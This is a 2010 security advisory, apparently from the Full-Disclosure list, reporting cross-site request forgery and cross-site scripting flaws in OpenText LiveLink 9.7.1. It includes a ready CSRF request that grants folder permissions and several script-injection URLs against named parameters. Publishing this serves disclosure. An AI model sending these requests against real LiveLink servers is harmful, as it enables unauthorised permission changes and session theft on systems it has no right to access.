# Exploit Title: OpenText LiveLink multiple vulnerabilities (CSRF, XSS) # Date: 22/06/2010 # Author: Alejandro Ramos <aramosf @ gmail.com> # http://www.securitybydefault.com # Software Link: http://www.opentext.com/ # Version: 9.7.1 # Tested on: Solaris Opentext (NASDAQ OTEX) LiveLink 9.7.1 Livelink features several advanced foundational elements that allow organizations to apidly and easily enable advanced content management applications and solutions throughout the enterprise. CSRF: Livelink ECM is prone to a cross-site request forgery vulnerability because it fails to properly sanitize data input. An attacker may leverage this issue to change permissions of folders or resources. 1.- POST Request: https://host/func=ll&objAction=EditAcl2&objType=1&objID=514&nodeId=3083071&id=14&rightId=14&PermType=0&Root=&nextUrl2=&PermActionType=&See=on&SeeContent=on&Modify=on&EditAttr=on&Reserve=on&DeleteVersion=on&Delete=on&EditPerm=on XSS: Livelink ECM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 1.- parameter: viewType https://host/livelink/livelink?func=ll&objId=514&objAction=browse&viewType=aa"><script>alert(514)</script><img src=" 2,3,4.- parameters: nodeid, setctx, support https://host/livelinkdav/nodes/OOB_DAVWindow.html?func=oobget&nodeid=514&support=/livelinksupport/&setctx=');alert('XSS');//514--idctx-12&ctxval=blahblah 5.- POST Request.- https://host/livelink/livelink?func=ll.processAccept&objId=514&webDAVCacheID=1&cacheID=1&sysCacheID=0&nextUrl=/livelink/livelink%3Ffunc%3Dll%26objID%3D514%26objAction%3Dbrowse%26viewType%3D21 6.- parameter: sort https://host/livelink/livelink?func=ll&objid=1&objAction=browse&sort=%22%3E%3Cscript%3Ealert%28514%29%3C/script%3E%3Cimg%20src=%22 -- Alejandro Ramos http://www.securitybydefault.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/